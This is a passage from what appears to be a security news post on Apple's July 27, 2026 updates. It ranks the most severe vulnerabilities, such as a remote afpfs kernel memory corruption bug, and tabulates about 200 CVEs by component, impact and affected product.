maximum-impact outcome on an Apple device: full compromise, defeats the sandbox and most mitigations. It's also unusually broad, shipping to iOS/iPadOS, all three macOS versions, tvOS, watchOS, and visionOS. Local-app precondition is its only limiter, and it's exactly the second stage a remote bug chains into.\n\u00b7      CVE-2026-64767 (afpfs) \u2013 In this case, \u201cA remote attacker may be able to cause unexpected system termination or corrupt kernel memory.\u201d This bug is a network-reachable, apparently unauthenticated path to kernel memory corruption via Apple Filing Protocol. Remote plus kernel is a dangerous combination.  Also, the \u201cremote attacker\u201d versus \u201cremote user\u201d wording suggests no authentication required. This bug affects macOS only, which is the only reason it sits at #3 rather than higher.\nHonorable mentions: CVE-2026-43776 (AppleDouble) and the SceneKit set (CVE-2026-64763/64/65/66) are additional file-parsing paths to arbitrary code execution. CVE-2026-43750 (Wi\u2011Fi) allows code execution out of the sandbox with elevated privileges. And finally, CVE-2026-64696 (SMB) / CVE-2026-43810 (Kernel) are further remote kernel-corruption bugs.\nHere\u2019s the full table of Apple patches and the products they affect:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\nApple Security Updates \u2014 July 27, 2026\n\n\n\n  \n    \n      210Total CVEs\n      9Code Execution\n      26Elevation of Privilege\n      11Sandbox Escape\n      9Security Feature Bypass\n      15Memory Corruption\n      55Information Disclosure\n      2Spoofing / UI\n      75Denial of Service\n      8Other\n    \n    \n\n      Apple security release — July 27, 2026 (iOS/iPadOS 26.6, macOS Tahoe 26.6, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, tvOS 26.6, watchOS 26.6, visionOS 26.6, Safari 26.6). \"Yes/No\" indicates whether each update is affected. CVE IDs link to NVD.\n      \n        \n          CVE ID\n          Component\n          Impact\n          iOS / iPadOS 26.6\n          macOS Tahoe 26.6\n          macOS Sequoia 15.7.8\n          macOS Sonoma 14.8.8\n          tvOS 26.6\n          watchOS 26.6\n          visionOS 26.6\n          Safari 26.6\n        \n      \n      \n      \n        CVE-2026-64732\n        Accessibility\n        An attacker with physical access may be able to access sensitive user data during iPhone Mirroring\n        YesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43749\n        Accounts\n        An app may be able to gain root privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43819\n        Accounts\n        An app may be able to access sensitive user data\n        NoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-64733\n        Accounts Framework\n        An app may be able to fingerprint the user\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64767\n        afpfs\n        A remote attacker may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-23918\n        apache\n        A remote attacker may be able to cause a denial-of-service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64695\n        APFS\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43801\n        App Store\n        An app may be able to access sensitive user data\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43781\n        Apple Account\n        An app may be able to access sensitive user data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64737\n        Apple Account\n        A malicious app may be able to break out of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28928\n        Apple Neural Engine\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-43748\n        Apple Neural Engine\n        An app may be able to cause unexpected system termination\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43776\n        AppleDouble\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43681\n        AppleRAID\n        A local user may be able to read kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43672\n        Assets\n        A malicious application may be able to bypass Privacy preferences\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43763\n        ATS\n        An app may be able to read files outside of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64702\n        Audio\n        An app may be able to break out of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64725\n        Audio\n        An app may be able to cause a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43730\n        AuthKit\n        An app may be able to fingerprint the user\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64747\n        AVEVideoEncoder\n        An app may be able to execute arbitrary code with kernel privileges\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64762\n        AVEVideoEncoder\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64707\n        BackgroundAssets\n        An app may be able to delete files for which it does not have permission\n        YesYesYesYesNoNoYesNo\n      \n      \n        CVE-2026-28849\n        BOM\n        A maliciously crafted ZIP archive may bypass Gatekeeper checks\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43811\n        Books\n        An app may be able to modify protected parts of the file system\n        YesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-64698\n        cd9660\n        An app may be able to cause unexpected system termination or read kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43813\n        CloudAttestation\n        A maliciously crafted app may be able to bypass code signing enforcement\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43797\n        Contacts\n        An app may be able to access information about a user's contacts\n        YesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-64734\n        Contacts\n        Processing a maliciously crafted contact may leak sensitive data\n        YesYesYesYesNoYesYesNo\n      \n      \n        CVE-2026-64746\n        Contacts\n        An app may be able to add contacts without user authorization\n        YesYesNoNoNoYesYesNo\n      \n      \n        CVE-2026-43756\n        Control Center\n        An app may be able to access user-sensitive data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43693\n        Core Services\n        An app may be able to gain root privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43673\n        CoreAudio\n        Processing a maliciously crafted audio file may corrupt process memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43744\n        CoreAudio\n        Processing an audio stream in a maliciously crafted media file may terminate the process\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43803\n        CoreAudio\n        A remote attacker may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43711\n        CoreMedia\n        Processing a maliciously crafted video file may lead to unexpected app termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43759\n        CoreMedia\n        An app may be able to access sensitive user data\n        NoYesNoNoNoYesNoNo\n      \n      \n        CVE-2026-43775\n        CoreMedia\n        An app may be able to access sensitive user data\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28936\n        CoreServices\n        Processing a maliciously crafted file may lead to unexpected app termination\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43738\n        CoreUI\n        Processing a maliciously crafted asset catalog may result in disclosure of process memory\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43802\n        CoreVideo\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64710\n        Crash Reporter\n        An app may be able to leak sensitive user information\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-39875\n        CUPS\n        A malicious app may be able to gain root privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43698\n        CUPS\n        An app may be able to gain root privileges\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-3783\n        curl\n        Authentication credentials may be sent to a server on another origin\n        YesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-3784\n        curl\n        Authentication credentials may be sent to a server on another origin\n        YesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43758\n        Data Detectors UI\n        An app may be able to access sensitive user data\n        NoYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-64708\n        DesktopServices\n        An app may bypass Gatekeeper checks\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28926\n        Disk Images\n        An app may be able to elevate privileges\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-28945\n        Disk Images\n        An app may be able to bypass network restrictions\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43747\n        Disk Images\n        Parsing a maliciously crafted file may lead to an unexpected app termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64694\n        Disk Images\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64776\n        Disk Images\n        An app may be able to disclose kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43753\n        DriverKit\n        An attacker with physical access to a locked device may be able to view sensitive user information\n        YesYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43793\n        DriverKit\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43714\n        Foundation\n        A malicious app may be able to access protected user data\n        YesYesYesYesNoYesYesNo\n      \n      \n        CVE-2026-64742\n        FrontBoard\n        An app may be able to access sensitive user data\n        YesNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43796\n        Game Center\n        An app may be able to access sensitive user data\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64740\n        Game Center\n        A malicious app may be able to break out of its sandbox\n        YesYesYesYesYesNoNoNo\n      \n      \n        CVE-2026-64691\n        GPU Drivers\n        An app may be able to cause unexpected system termination\n        NoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-64692\n        Heimdal\n        An app may be able to cause a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-28981\n        HFS\n        Processing a maliciously crafted image may lead to arbitrary code execution\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43682\n        HFS\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43710\n        HFS\n        An attacker may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43764\n        HFS\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43767\n        HFS\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43773\n        HFS\n        Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64697\n        HFS\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2025-43325\n        Icons\n        An app may be able to access sensitive user data\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43661\n        ImageIO\n        Processing a maliciously crafted image may corrupt process memory\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43780\n        ImageIO\n        Processing a maliciously crafted texture may lead to unexpected app termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43818\n        ImageIO\n        Processing a maliciously crafted image may lead to arbitrary code execution\n        YesYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64693\n        ImageIO\n        Processing a maliciously crafted image may lead to a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64716\n        ImageIO\n        Processing a maliciously crafted image may corrupt process memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64754\n        ImageIO\n        Processing a maliciously crafted file may lead to a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64758\n        ImageIO\n        Processing a maliciously crafted file may lead to unexpected app termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43743\n        IOGPUFamily\n        An app may be able to cause unexpected system termination\n        NoNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-43805\n        IOKit\n        An app may be able to cause unexpected system termination or write kernel memory\n        YesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-39877\n        IOSkywalkFamily\n        An app may be able to disclose kernel memory\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-28931\n        Kernel\n        Connecting to a malicious NFS server may lead to kernel memory corruption\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-28982\n        Kernel\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-39868\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43722\n        Kernel\n        An app may be able to leak sensitive kernel state\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43724\n        Kernel\n        An app may be able to cause unexpected system termination or write kernel memory\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43739\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43754\n        Kernel\n        An app may be able to leak sensitive kernel state\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43757\n        Kernel\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43769\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43778\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43782\n        Kernel\n        An app may be able to access sensitive user data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43799\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43809\n        Kernel\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43810\n        Kernel\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43814\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-43816\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43817\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-43822\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64700\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64709\n        Kernel\n        An app may be able to disclose kernel memory\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64720\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-64721\n        Kernel\n        An app may be able to access sensitive user data\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64723\n        Kernel\n        An app may be able to access sensitive user data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64727\n        Kernel\n        An app may be able to cause unexpected system termination\n        NoYesNoNoYesNoNoNo\n      \n      \n        CVE-2026-64729\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64735\n        Kernel\n        A remote attacker may be able to bypass network filters\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64744\n        Kernel\n        An app may be able to disclose kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64749\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        YesYesYesNoNoNoYesNo\n      \n      \n        CVE-2026-64751\n        Kernel\n        An app may be able to cause unexpected system termination or write kernel memory\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64775\n        Kernel\n        An app may be able to cause unexpected system termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-20672\n        LaunchServices\n        An app may be able to access sensitive user data\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-28983\n        LaunchServices\n        A remote attacker may be able to cause a denial of service\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-28900\n        libarchive\n        A maliciously crafted ZIP archive may bypass Gatekeeper checks\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-4424\n        libarchive\n        Processing a maliciously crafted file may result in disclosure of process memory\n        YesYesYesYesNoNoYesNo\n      \n      \n        CVE-2026-28973\n        libc\n        A malicious app may be able to break out of its sandbox\n        YesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-64739\n        Libnotify\n        An attacker may be able to cause unexpected app termination\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43703\n        libxslt\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43706\n        libxslt\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43766\n        LoginWindow\n        An attacker with physical access to a locked device may be able to view sensitive user information\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64743\n        Managed Configuration\n        An app may be able to access sensitive user data\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64738\n        Maps\n        A malicious app may be able to break out of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43653\n        mDNSResponder\n        An attacker on the local network may be able to cause a denial-of-service\n        NoNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-43806\n        mDNSResponder\n        A local attacker may be able to cause a denial of service\n        NoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-64724\n        mDNSResponder\n        An attacker on the local network may be able to cause a denial-of-service\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43723\n        MediaRemote\n        An app may be able to gain root privileges\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-28911\n        Metal\n        A malicious app may be able to corrupt memory of a system process\n        NoYesNoYesNoNoNoNo\n      \n      \n        CVE-2026-43807\n        MobileAccessoryUpdater\n        A malicious accessory may be able to cause unexpected app termination\n        NoNoYesYesYesYesYesNo\n      \n      \n        CVE-2026-43729\n        Model I/O\n        Processing a maliciously crafted image may corrupt process memory\n        YesYesYesNoYesNoYesNo\n      \n      \n        CVE-2026-43733\n        Model I/O\n        Processing a maliciously crafted image may corrupt process memory\n        YesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64722\n        Model I/O\n        Processing a 3D model may result in disclosure of process memory\n        YesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64768\n        Model I/O\n        A remote attacker may cause an unexpected app termination\n        YesYesYesYesYesNoYesNo\n      \n      \n        CVE-2026-64769\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesYesYesNoYesNo\n      \n      \n        CVE-2026-64770\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesYesYesNoYesNo\n      \n      \n        CVE-2026-64771\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesNoYesNoYesNo\n      \n      \n        CVE-2026-64772\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesNoYesNoYesNo\n      \n      \n        CVE-2026-64774\n        Model I/O\n        A remote attacker may be able to cause unexpected application termination or heap corruption\n        YesYesYesYesYesNoYesNo\n      \n      \n        CVE-2026-43771\n        Net-SNMP\n        An app may be able to cause a denial-of-service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43772\n        NetFSFramework\n        An app may be able to break out of its sandbox\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28961\n        Network Extensions\n        An attacker with physical access to a locked device may be able to view sensitive user information\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-64711\n        NSColorPanel\n        An app may be able to leak sensitive user information\n        YesYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28912\n        PackageKit\n        A user may be able to elevate privileges\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43765\n        PackageKit\n        An app may be able to modify protected parts of the file system\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-28896\n        ppp\n        An attacker may be able to cause unexpected system termination or read kernel memory\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-64731\n        Printing\n        A malicious app may be able to break out of its sandbox\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43812\n        Pro Res\n        An app may be able to cause unexpected system termination\n        YesYesYesNoYesNoYesNo\n      \n      \n        CVE-2026-43694\n        quarantine\n        An app may be able to cause unexpected system termination or write kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-39874\n        Remote Management\n        A malicious app may be able to gain root privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43792\n        Safari\n        An app may be able to access sensitive user data\n        NoYesNoNoNoNoNoYes\n      \n      \n        CVE-2026-64741\n        Sandbox Profiles\n        An app may be able to read a persistent device identifier\n        YesNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-64763\n        SceneKit\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64764\n        SceneKit\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64765\n        SceneKit\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-64766\n        SceneKit\n        Processing a maliciously crafted file may lead to unexpected app termination or arbitrary code execution\n        YesYesYesYesYesYesYesNo\n      \n      \n        CVE-2026-43665\n        Screen Sharing Server\n        A local attacker may be able to determine the legacy VNC password configured for Screen Sharing\n        NoNoYesYesNoNoNoNo\n      \n      \n        CVE-2026-43760\n        Screen Sharing Server\n        An app may be able to access user-sensitive data\n        NoYesNoYesNoNoNoNo\n      \n      \n        CVE-2026-43777\n        Screen Sharing Server\n        A remote attacker may be able to cause a denial of service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43779\n        Screen Sharing Server\n        An app may be able to intercept network connections intended for another process\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43728\n        Security\n        An attacker may be able to modify the state of the Keychain\n        NoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-43755\n        SecurityAgent\n        An app may be able to gain root privileges\n        NoYesNoYesNoNoNoNo\n      \n      \n        CVE-2026-43800\n        Siri\n        An app may be able to access sensitive user data\n        YesYesNoNoYesYesNoNo\n      \n      \n        CVE-2026-64745\n        Siri\n        A person with physical access to a locked device may be able to access contacts and photos\n        NoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-39873\n        SMB\n        Connecting to a malicious SMB server may lead to unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64696\n        SMB\n        A remote user may be able to cause unexpected system termination or corrupt kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64704\n        SMB\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43774\n        Spotlight\n        An app may be able to access sensitive user data\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43770\n        StorageKit\n        An app may be able to access sensitive user data\n        NoYesYesYesYesNoNoNo\n      \n      \n        CVE-2026-43768\n        udf\n        An app may be able to cause unexpected system termination\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-43704\n        Web Extensions\n        A malicious web extension may be able to cause an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-64699\n        WebDAV\n        An app may be able to disclose kernel memory\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64703\n        WebDAV\n        An app may be able to cause a denial-of-service\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-39872\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43663\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43676\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-43699\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43700\n        WebKit\n        Processing maliciously crafted web content may disclose sensitive user information\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43701\n        WebKit\n        A malicious website may be able to process restricted web content outside the sandbox\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43705\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43707\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43708\n        WebKit\n        A malicious website may exfiltrate data cross-origin\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43709\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43712\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43713\n        WebKit\n        Visiting a website may leak sensitive data\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43715\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43725\n        WebKit\n        A malicious website may be able to process restricted web content outside the sandbox\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43726\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43727\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-43731\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43732\n        WebKit\n        Processing maliciously crafted web content may disclose sensitive user information\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43734\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43735\n        WebKit\n        A malicious website may exfiltrate data cross-origin\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43740\n        WebKit\n        Processing maliciously crafted web content may result in the disclosure of process memory\n        YesNoNoNoYesYesYesYes\n      \n      \n        CVE-2026-43742\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43745\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43804\n        WebKit\n        Visiting a website may lead to an app denial-of-service\n        YesYesNoNoNoNoYesYes\n      \n      \n        CVE-2026-43821\n        WebKit\n        An app may be able to read files outside of its sandbox\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-64713\n        WebKit\n        Websites may know if the user has visited a given link\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-64728\n        WebKit\n        Maliciously crafted web content may violate iframe sandboxing policy\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-64730\n        WebKit\n        Visiting a website that frames malicious content may lead to UI spoofing\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-64757\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        YesYesNoNoNoYesYesYes\n      \n      \n        CVE-2026-64783\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        YesYesNoNoNoYesYesYes\n      \n      \n        CVE-2026-43720\n        WebKit Canvas\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-64718\n        WebKit Canvas\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-43721\n        WebKit Storage\n        A malicious website may be able to silently hijack clipboard data\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-28979\n        WebRTC\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-43717\n        WebRTC\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-43718\n        WebRTC\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        NoNoNoNoYesYesYesNo\n      \n      \n        CVE-2026-64719\n        WebRTC\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        YesYesNoNoYesYesYesYes\n      \n      \n        CVE-2026-43750\n        Wi-Fi\n        An app may be able to execute arbitrary code out of its sandbox or with certain elevated privileges\n        NoYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64726\n        Wi-Fi\n        An attacker in physical proximity may be able to corrupt process memory\n        YesYesNoNoYesYesYesNo\n      \n      \n        CVE-2026-64755\n        WorkoutKit\n        An app may be able to access sensitive user data\n        YesNoNoNoNoNoNoNo\n      \n      